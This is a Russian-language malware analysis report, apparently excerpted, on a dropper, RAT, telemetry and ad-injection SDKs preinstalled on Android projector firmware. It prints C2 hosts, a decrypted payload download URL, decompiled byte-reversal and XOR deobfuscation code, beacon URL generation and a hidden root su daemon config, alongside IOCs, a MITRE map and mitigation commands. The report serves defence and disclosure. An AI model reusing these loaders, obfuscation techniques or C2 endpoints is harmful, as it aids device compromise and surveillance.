**Воздействие:** Любой пользователь, имеющий физический доступ, или злоумышленник в той же сети (через ADB, порт 5555 открыт, без аутентификации) получает полный root-доступ.

---

## 4. Ответ C2-сервера — Основные доказательства

### Захваченный HTTP-запрос```http
POST /sign/app/list HTTP/1.1
chanId: HY260Pro_SpectraOS_TPYB
timestamp: 1775904428922
sign: [REDACTED]
Content-Type: application/json;charset=UTF-8
Content-Length: 184
Host: store-api.aodintech.com
Connection: Keep-Alive
Accept-Encoding: gzip
User-Agent: okhttp/5.0.0-alpha.12

**Интерпретация флагов:**

- `isShow: false` — Приложение не отображается в интерфейсе магазина.
- `isForce: true` — Предположительно принуждает к действию (установка или обновление).
- `isSilentUninstall: true` — Может удалить себя без взаимодействия с пользователем.
- `launchType: 1` — Автоматически запускает фоновый сервис.
- `launchParam: MyService` — Ссылка на постоянный сервис.
- `zone: "Global"` — Нацелено на все устройства по всему миру.
- `reverseLen` — Длина байтов, необходимая для восстановления `.apk` SilentSDK.

### Зашифрованный путь загрузки

Поле `path` зашифровано с помощью AES-CBC:

- **Ключ/IV:** `[REDACTED]` (AES-CBC, Raw) -> ChannelID устройства.
- **Результат расшифровки:**```text
http://cdn-store.aodintech.com/com.hotack.silentsdk/package/091acbf1-68b1-40f1-b9b7-7d4d6ae86880.bpp

                    ┌──────────────┐
                    │  DEVICE BOOT │
                    └──────┬───────┘
          ┌────────────────┼────────────────┐
          ▼                ▼                ▼
   ┌─────────────┐  ┌─────────────┐  ┌──────────────┐
   │   StoreOS   │  │  SilentSDK  │  │  EventUpload │
   │   DROPPER   │  │     RAT     │  │  HEARTBEAT   │
   └──────┬──────┘  └──────┬──────┘  └──────┬───────┘
          ▼                ▼                ▼
     store-api.        api.pixel         event-api.
    aodintech.com    pioneerss.com     aodintech.com

   + ExpandSDK (Ad-Injection)
     → pb-api.aodintech.com

---

## 6. StoreOS — Анализ дроппера

StoreOS, по-видимому, представляет собой магазин приложений, который устанавливается автоматически, однако выполняет функцию дроппера.  
**Пакет:** `com.htc.storeos`  
**SHA-256:** `3476536a5c722b9e34c53abda766fb4869d5ebebfc9c8a8fd47fb7ecd5f025b9`  
**VirusTotal:** BitDefender: `Android.Riskware.TestKey.rB`

### Разрешения

| Разрешение | Воздействие |
|:---|:---|
| `INSTALL_PACKAGES` | Тихая установка без диалога с пользователем |
| `CLEAR_APP_USER_DATA` | Удаление произвольных данных приложения |
| `MASTER_CLEAR` | Инициирование сброса до заводских настроек |
| `WRITE_SECURE_SETTINGS` | Изменение параметров безопасности |
| `DEVICE_POWER` | Управление питанием устройства |
| `MANAGE_EXTERNAL_STORAGE` | Полный доступ к внешнему хранилищу |

### Цепочка установки (из декомпилированного кода)

1. **BootReceiver** запускает `CheckUpdateService`.
2. HTTP POST на `store-api.aodintech.com/sign/app/list`.
3. Сервер возвращает `AppsData[]`, содержащий поля: `pkg`, `path`, `isForce`, `isShow`, `isSilentInstall`, `isSilentUninstall`, `launchType`, `launchParam`, `reverseLen`, `md5`.
4. `DownloadService` загружает APK в виде файлов `.bpp` с CDN.
5. **Защита посредством реверсирования байтов:** Первые `reverseLen` байт реверсируются перед записью на диск (антианалитическая мера).
6. Проверка MD5 загруженного файла.
7. Установка через `Runtime.getRuntime().exec("pm install -r " + filePath)`.
8. `StartAppService` запускает установленное приложение в соответствии с `launchParam`.

### Механизм реверсирования байтов — Техническое доказательство

**Класс:** `AbstractC2057b` — **Метод:** `m4131f(String inputPath, int reverseLen, String outputPath)` -> JADX

Этот метод реверсирует первые `reverseLen` байт каждого загруженного APK. В результате перехваченные файлы `.bpp` невозможно распознать или извлечь как корректные APK без знания конкретного значения `reverseLen`.```java
// Simplified representation of the byte-reversal algorithm
// Original code: AbstractC2057b.m4131f()
int offset = fileSize % reverseLen;
if (fileSize - offset < reverseLen) {
    reverseLen = fileSize;
    offset = 0;
}
// 1. Copy offset bytes unchanged
// 2. Read reverseLen bytes and reverse them:
for (int head = 0, tail = readCount - 1; head < tail; ) {
    byte tmp = buffer[head];
    buffer[head] = buffer[tail];
    buffer[tail] = tmp;
    head++; tail--;
}
// 3. Copy the remaining bytes unchanged

Благодаря обратному инжинирингу этого механизма, APK SilentSDK был успешно декодирован и проанализирован.

### Геотаргетинг

StoreOS использует `api.ipdatacloud.com/v2/query` для IP-геолокации. Класс `SpecialApps` содержит поля `continent` и `countryCode`, что позволяет распространять полезную нагрузку с учетом региона.

---

## 7. EventUploadService — Телеметрия

**Пакет:** `com.htc.eventuploadservice`  
**Цель:** `http://event-api.aodintech.com/report`  
**Интервал:** Каждые 5 минут  

| Поле | Пример значения | Влияние на конфиденциальность |
|:---|:---|:---|
| `deviceId` | `[REDACTED]` | MAC-адрес (PII) |
| `deviceSn` | `[REDACTED]` | Серийный номер (Уникальный) |
| `channel` | `HY260Pro_hy_TPYB` | Канал прошивки |
| `version` | `Projector.20250422.152235` | Версия прошивки |
| `model` | `NT10` | Модель устройства |
| `language` | `en_US` | Языковая настройка |

Передача происходит в незашифрованном виде по HTTP и без согласия пользователя. MAC-адрес и серийный номер позволяют точно идентифицировать и отслеживать отдельные устройства.

---

## 8. ExpandSDK — Внедрение рекламы

**Пакет:** `com.htc.expandsdk`  
**C2-серверы:** `pb-api.aodintech.com`, `euads-o.api.leiniao.com`

ExpandSDK использует TCL VastAd SDK для VAST-видеорекламы и способен отображать системные диалоговые окна (`SYSTEM_ALERT_WINDOW`) в любом положении на экране. Конфигурация включает поля позиционирования (`AdDialogX`, `AdDialogY`, `Width`, `High`, `Gravity`) и идентификатор партнёра `htk` (Hotack).

ExpandSDK работает независимо от SilentSDK как отдельный канал монетизации.


---

## 9. SilentSDK — Анализ RAT

**Пакет:** `com.hotack.silentsdk`  
**SHA-256 (расшифрованный):** `e5a193c31526a2194d04a2157321d490d68f9251fab1cbbd28c2580971396fb7`  
**MD5 (расшифрованный):** `5df097591d6942bae4eff33a37c4e28f`

### Анализ манифеста

| Свойство | Значение | Смысл |
| :--- | :--- | :--- |
| `sharedUserId` | `android.uid.system` | Системные привилегии (UID 1000) |
| `usesCleartextTraffic` | `true` | Разрешен HTTP-трафик |
| Значок в меню приложений | Не видим пользователю | Скрыт из интерфейса пользователя |
| `BootReceiver` | Приоритет 999 | Запускается раньше почти всех других приложений |
| `MyService` | экспортируемый, передний план | Постоянная фоновая служба |
| `BootStartActivity` | `com.htc.bootstart` | Дополнительный триггер загрузки |

### Упаковка и дешифрование DEX

Исходный DEX упакован: заголовок объявляет 2 318 316 байт, но сжатый файл содержит только 65 536 байт с неверной контрольной суммой Adler32. После взлома защиты StoreOS с обращением байтов DEX становится полностью читаемым — размер файла и заявленный размер совпадают, и можно извлечь 16 241 строку.

### XOR-обфускация — Техническое доказательство

Все строки, связанные с безопасностью, обфусцированы с помощью вращающегося XOR-шифра в методе `AbstractC0000a.m36g()`:```java
public static String m36g(byte[] data, byte[] key) {
    int i3 = 0, i4 = 0;
    while (i3 < data.length) {
        if (i4 >= key.length) i4 = 0;
        data[i3] = (byte) (data[i3] ^ key[i4]);
        i3++; i4++;
    }
    return new String(data);
}

Если возникает ошибка SSL (`SSLException`), `f2664e` устанавливается в `false`, и все последующие запросы используют HTTP вместо HTTPS.




#### Фаза 3: Получение полезной нагрузки
 
**`C0566k.java` — Автономное резервирование (встроенная полезная нагрузка)**
 
Перед обращением к сети этот класс проверяет, встроена ли полезная нагрузка в APK по пути `assets/m17gawxG.java`. Если найдена, он читает файл побайтово и расшифровывает его с помощью жёстко заданного XOR-ключа (`m17gawxG`). Результат записывается как исполняемый файл `.temp`. Это гарантирует, что RAT может активироваться даже на изолированных устройствах или когда сервер C2 недоступен.
 
**`RunnableC0569n.java` — Загрузчик с C2 в реальном времени**
 
Если автономное резервирование не срабатывает, этот класс собирает JSON-маяк, содержащий Bot-ID, имя пакета и версию Android, а затем связывается с конечной точкой C2 `api.pixelpioneerss.com`:
 
**Шаг 1 — Генерация URL со случайным путём:**```java
// RunnableC0569n.m1760b()
String protocol = useHttps ? "https://" : "http://";
String domain = f2663d; // XOR-decrypted to "api.pixelpioneerss.com"
int length = random.nextInt(5) + 8; // 8-12 chars
char[] path = new char[length];
// At least one letter at a random position, rest: digits and letters
return protocol + domain + "/" + new String(path);
// e.g.: https://api.pixelpioneerss.com/aB3k9mP2s

**Шаг 3 — AES-шифрование и передача:**```java
// AbstractC0556a.m1728d() — AES-128-CBC Encryption
byte[] encrypted = AES_CBC_encrypt(json.getBytes());
// AbstractC0000a.m41j() — HTTP POST with Custom TrustManager
byte[] response = m41j(url, encrypted);
// Key and IV are appended in plaintext to the message

Загрузчик (`AbstractC0000a.m37h`) получает полезную нагрузку, а затем с помощью рутовой оболочки предоставляет ей полные права на выполнение через `chmod 777`.
 
Все C2-запросы содержат пользовательский HTTP-заголовок `a: 1003` — сетевой признак данного семейства вредоносного ПО.



#### Фаза 4: Выполнение и управление
 
**`AbstractC0568m.java` — Промежуточная область**
 
Создает скрытый каталог с именем **`TMRXwWJu3G5`** в файловой системе устройства, где размещаются все загруженные полезные нагрузки. Этот класс также содержит методы (`m1754e`), перехватывающие физические нажатия клавиш (`KeyEvent`), не позволяя пользователю нажать кнопку «Назад», пока активен вредоносный оверлей.
 
**`C0561f.java` — Оркестратор**
 
Связывает всю цепочку воедино. Он вызывает сильно обфусцированный код в `C0566k.m1746b`, который с помощью рефлексии формирует строку `"dalvik.system.DexClassLoader"` и инициализирует её. Затем ClassLoader принудительно загружает и выполняет финальный класс полезной нагрузки:```
com.me.cash5.OoO0OOo

Это **отдельный C2-домен** от основного `api.pixelpioneerss.com`, используемый исключительно для эксфильтрации телеметрии.
 
**`AbstractC0572q.java` & `RunnableC0560e.java` — Heartbeat и самовосстановление**
 
Механизм персистентности. `AbstractC0572q` поддерживает таймер в основном потоке. Если какая-либо часть цепочки заражения завершается неудачей (например, отсутствие интернета во время загрузки), он вызывает `sendEmptyMessageDelayed(..., 60000L)`. Ровно через 60 секунд `RunnableC0560e` (как фоновый рабочий процесс) перезапускает весь механизм заражения с самого начала. Этот цикл повторяется бесконечно, пока заражение не будет успешным.
 
### Персистентность и динамическая загрузка — Резюме
 
Метод `m1762a()` в `RunnableC0569n` реализует полный цикл загрузки полезной нагрузки:
 
1. Загрузить DEX-файл с C2.
2. Проверить MD5-хэш.
3. Сохранить номер версии в SharedPreferences.
4. Загрузить и выполнить DEX через `DexClassLoader` или `Runtime.exec()`.
5. При ошибках: увеличить счетчик повторных попыток в SharedPreferences, пауза после 13 неудачных попыток — затем 60-секундный heartbeat перезапускает цикл.

 
## 9.1. Полезная нагрузка вредоносного ПО

После отправки этого запроса на C2-сервер:```json
{
    "a":"1c1f2257b85a20a0eac07f992a283b3a", // Unique device fingerprint
    "b":"f101", //CampaignID injected in MyApplication.java
    "c":"com.hotack.silentsdk", //Package name
    "d":0, 
    "f":"c0:3a:4b:11:22:33", // Device MAC address
    "h":30, //Version
}

---
## 10. Вредоносное ПО

После успешного извлечения и дальнейшего анализа вредоносной нагрузки, я определил — обойдя значительные уровни пользовательского шифрования и обфускации, — что вредоносное ПО использует высокомодульную архитектуру. Оно функционирует как сложный фреймворк, способный динамически загружать, обновлять, перезапускать и активно удалять плагины для уничтожения криминалистических доказательств. Эти нагрузки выполняются с правами root. Кроме того, код раскрывает механизмы, предназначенные для наложения полных WebView на экран, что сильно указывает на продвинутые фишинговые возможности. Вредоносное ПО также демонстрирует продвинутые тактики нацеливания и уклонения: оно реализует строгое геозонирование для атак на конкретные регионы, профилирует архитектуру ЦП (различая `arm64`, `armeabi`, `x86` и `mips`) и активно обходит проверку SSL-сертификатов для защиты своих C2-коммуникаций. Я намеренно оставляю это резюме кратким на данный момент, так как сильная обфускация требует длительного и текущего процесса обратной разработки.

## 11. Системные бэкдоры

### 11.1 Скрытый бинарник `su`: `/system/bin/qw`

Бинарник `su`, переименованный в `qw` (Koushikdutta Superuser, 388 КБ, статически слинкован, ARM 32-bit):```text
# /system/etc/init/qw.rc
service qw /system/bin/qw --daemon
    user root
    group root
    class core

### Сетевые сигнатуры```text
User-Agent: okhttp/5.0.0-alpha.12
HTTP-Header: a: 1003            # SilentSDK Signature
POST /sign/app/list             # StoreOS C2 Beacon
POST /report                    # EventUpload Telemetry

### Файловая система```text
/system/bin/qw                                   # su Binary
/dev/com.koushikdutta.superuser.daemon/server    # su Socket
/oem/customer.prop                               # World-writable
/vendor/bin/dbgserver                             # HW-Debug
/dev/hidtvreg                                    # World-writable

---

## 16. Карта MITRE ATT&CK

| Техника | ID | Подтверждение |
|:---|:---|:---|
| Компрометация цепочки поставок | T1195.002 | Вредоносная фабрика предустановлена |
| Автозапуск при загрузке или входе в систему | T1547 | BootReceiver Priority 999 |
| Обфусцированные файлы или информация | T1027 | XOR-строки, упаковка DEX, встроенный XOR-зашифрованный ресурс |
| Протокол прикладного уровня | T1071 | HTTP/HTTPS C2 |
| Динамический обмен данными / внедрение полезной нагрузки | T1055 | DexClassLoader, chmod 777 |
| Сбор информации о системе | T1082 | Снятие отпечатков устройства, генерация Bot-ID |
| Данные из локальной системы | T1005 | MAC, Serial, IMEI, android_id |
| Экфильтрация по каналу C2 | T1041 | Периодическая телеметрия на `bur.thedynamicleap.com` |
| Маскировка | T1036 | Расширение файла .bpp, спуфинг ADT-3 |
| Руткит | T1014 | Скрытый бинарный файл su |
| Перехват ввода | T1056 | Перехват KeyEvent для подавления кнопки «Назад» |
| Удаление индикаторов / самоудаление | T1070 | Возможность `isSilentUninstall: true` |
| Рефлексивная загрузка кода | T1620 | Рефлексивное создание экземпляра DexClassLoader |
| Наложение системных окон | T1624 | Манипуляция SoftInputMode для невидимых наложений |

---

## 17. Немедленные меры смягчения

### Для пострадавших конечных пользователей```bash
adb shell pm disable-user --user 0 com.hotack.silentsdk
adb shell pm disable-user --user 0 com.htc.storeos
adb shell pm disable-user --user 0 com.htc.eventuploadservice
adb shell pm disable-user --user 0 com.htc.expandsdk
adb shell pm disable-user --user 0 com.htc.htcotaupdate

---

## 18. Источники

1. Zane St. John: «Обратная разработка предустановленного вредоносного ПО для Android с помощью Claude Code», январь 2026 г. https://zanestjohn.com/blog/reing-with-claude-code
2. BSI: «BSI предупреждает о предустановленном вредоносном ПО на устройствах IoT» (BADBOX), октябрь 2023 г.
3. Анализ VirusTotal APK-файла StoreOS.

---

**Период анализа:** 11–17 апреля 2026 г.

**Отказ от ответственности**
Только для образовательных и исследовательских целей. Этот отчет предоставляется «как есть» в информационных целях относительно угроз кибербезопасности. Анализ основан на снимке текущей экосистемы вредоносного ПО; поскольку обратная разработка является непрерывным процессом, результаты могут быть изменены по мере поступления новых данных.

Этот отчет составлен добросовестно и на основе имеющейся информации, исходя из анализа бинарных данных и декомпилированного исходного кода. Из-за высокого уровня обфускации и развивающейся природы угрозы эти выводы представляют собой текущее состояние исследований. Хотя доказательства убедительно подтверждают сделанные выводы, они могут быть уточнены по мере обнаружения дополнительных технических данных.